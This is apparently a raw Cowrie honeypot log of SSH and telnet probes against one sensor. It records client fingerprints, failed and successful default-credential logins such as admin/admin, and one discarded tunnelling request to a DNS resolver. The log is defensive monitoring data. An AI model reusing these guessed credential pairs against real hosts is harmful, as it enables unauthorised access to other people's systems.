{"eventid":"cowrie.session.connect","src_ip":"217.60.245.118","src_port":34452,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5399a12831f","protocol":"ssh","message":"New connection: 217.60.245.118:34452 (10.17.0.5:22) [session: b5399a12831f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:33.959198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:33.966028Z","src_ip":"217.60.245.118","session":"b5399a12831f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:34.089614Z","src_ip":"217.60.245.118","session":"b5399a12831f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:34.460056Z","src_ip":"217.60.245.118","session":"b5399a12831f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39948,"dst_ip":"10.17.0.5","dst_port":23,"session":"4981b5ba6bf7","protocol":"telnet","message":"New connection: 137.184.155.248:39948 (10.17.0.5:23) [session: 4981b5ba6bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:34.701860Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:35.585307Z","src_ip":"217.60.245.118","session":"b5399a12831f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.60.245.118","src_port":34460,"dst_ip":"10.17.0.5","dst_port":22,"session":"18d70de14b76","protocol":"ssh","message":"New connection: 217.60.245.118:34460 (10.17.0.5:22) [session: 18d70de14b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:35.704683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:35.710633Z","src_ip":"217.60.245.118","session":"18d70de14b76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:35.840610Z","src_ip":"217.60.245.118","session":"18d70de14b76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nil","password":"","message":"login attempt [nil/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:36.213426Z","src_ip":"217.60.245.118","session":"18d70de14b76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:37.338964Z","src_ip":"217.60.245.118","session":"18d70de14b76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.60.245.118","src_port":34466,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfd9ea2dc710","protocol":"ssh","message":"New connection: 217.60.245.118:34466 (10.17.0.5:22) [session: dfd9ea2dc710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:37.460103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:37.475701Z","src_ip":"217.60.245.118","session":"dfd9ea2dc710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39960,"dst_ip":"10.17.0.5","dst_port":23,"session":"1524e4486044","protocol":"telnet","message":"New connection: 137.184.155.248:39960 (10.17.0.5:23) [session: 1524e4486044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:37.496738Z"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:37.601126Z","src_ip":"217.60.245.118","session":"dfd9ea2dc710","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:37.976885Z","src_ip":"217.60.245.118","session":"dfd9ea2dc710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:38.106974Z","src_ip":"217.60.245.118","session":"dfd9ea2dc710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":57464,"dst_ip":"10.17.0.5","dst_port":22,"session":"48718fa727d0","protocol":"ssh","message":"New connection: 41.86.34.139:57464 (10.17.0.5:22) [session: 48718fa727d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:39.618544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:40.109654Z","src_ip":"41.86.34.139","session":"48718fa727d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:40.313538Z","src_ip":"41.86.34.139","session":"48718fa727d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.07747459411621,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:40.585049Z","src_ip":"137.184.155.248","session":"cc2ab6e306c8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"password","message":"login attempt [guest/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:41.209625Z","src_ip":"41.86.34.139","session":"48718fa727d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:42.420073Z","src_ip":"41.86.34.139","session":"48718fa727d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.517728328704834,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:47.880604Z","src_ip":"137.184.155.248","session":"2eafbfc11c59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.96067571640015,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:48.577075Z","src_ip":"137.184.155.248","session":"631e1eecfa3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":44668,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d504a6f8346","protocol":"telnet","message":"New connection: 137.184.155.248:44668 (10.17.0.5:23) [session: 1d504a6f8346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:51.780316Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50026,"dst_ip":"10.17.0.5","dst_port":23,"session":"84684f1e8587","protocol":"telnet","message":"New connection: 137.184.155.248:50026 (10.17.0.5:23) [session: 84684f1e8587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:53.199252Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31734,"dst_ip":"10.17.0.5","dst_port":22,"session":"049ec2fdfad2","protocol":"ssh","message":"New connection: 87.251.64.176:31734 (10.17.0.5:22) [session: 049ec2fdfad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:54.405323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:54.413753Z","src_ip":"87.251.64.176","session":"049ec2fdfad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:54.510685Z","src_ip":"87.251.64.176","session":"049ec2fdfad2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:54.800292Z","src_ip":"87.251.64.176","session":"049ec2fdfad2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:54.900754Z","session":"049ec2fdfad2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:54.999451Z","src_ip":"87.251.64.176","session":"049ec2fdfad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:01:55.237670Z","src_ip":"87.251.64.176","session":"049ec2fdfad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":43366,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a5f023912a4","protocol":"ssh","message":"New connection: 58.186.20.101:43366 (10.17.0.5:22) [session: 0a5f023912a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:00.947536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:00.952494Z","src_ip":"58.186.20.101","session":"0a5f023912a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50038,"dst_ip":"10.17.0.5","dst_port":23,"session":"74875543f62c","protocol":"telnet","message":"New connection: 137.184.155.248:50038 (10.17.0.5:23) [session: 74875543f62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:01.204607Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:01.214353Z","src_ip":"58.186.20.101","session":"0a5f023912a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"vikram","message":"login attempt [admin/vikram] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:02.294257Z","src_ip":"58.186.20.101","session":"0a5f023912a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:03.561076Z","src_ip":"58.186.20.101","session":"0a5f023912a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.027275800704956,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:07.253274Z","src_ip":"137.184.155.248","session":"11149dbe44d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50108,"dst_ip":"10.17.0.5","dst_port":23,"session":"50fe0939410a","protocol":"telnet","message":"New connection: 137.184.155.248:50108 (10.17.0.5:23) [session: 50fe0939410a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:22.273619Z"}
{"eventid":"cowrie.session.closed","duration":47.90447664260864,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:22.606207Z","src_ip":"137.184.155.248","session":"4981b5ba6bf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.924508571624756,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:25.421146Z","src_ip":"137.184.155.248","session":"1524e4486044","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":56386,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ae205b4aaa2","protocol":"telnet","message":"New connection: 137.184.155.248:56386 (10.17.0.5:23) [session: 8ae205b4aaa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:25.814776Z"}
{"eventid":"cowrie.session.closed","duration":44.89253497123718,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:36.672665Z","src_ip":"137.184.155.248","session":"1d504a6f8346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":45932,"dst_ip":"10.17.0.5","dst_port":23,"session":"339dbb222638","protocol":"telnet","message":"New connection: 137.184.155.248:45932 (10.17.0.5:23) [session: 339dbb222638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:37.561135Z"}
{"eventid":"cowrie.session.closed","duration":46.91052031517029,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:40.109627Z","src_ip":"137.184.155.248","session":"84684f1e8587","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.48862338066101,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:47.693137Z","src_ip":"137.184.155.248","session":"74875543f62c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56836,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b32359f6f8d","protocol":"telnet","message":"New connection: 185.26.126.47:56836 (159.203.135.109:23) [session: 3b32359f6f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:52.395703Z"}
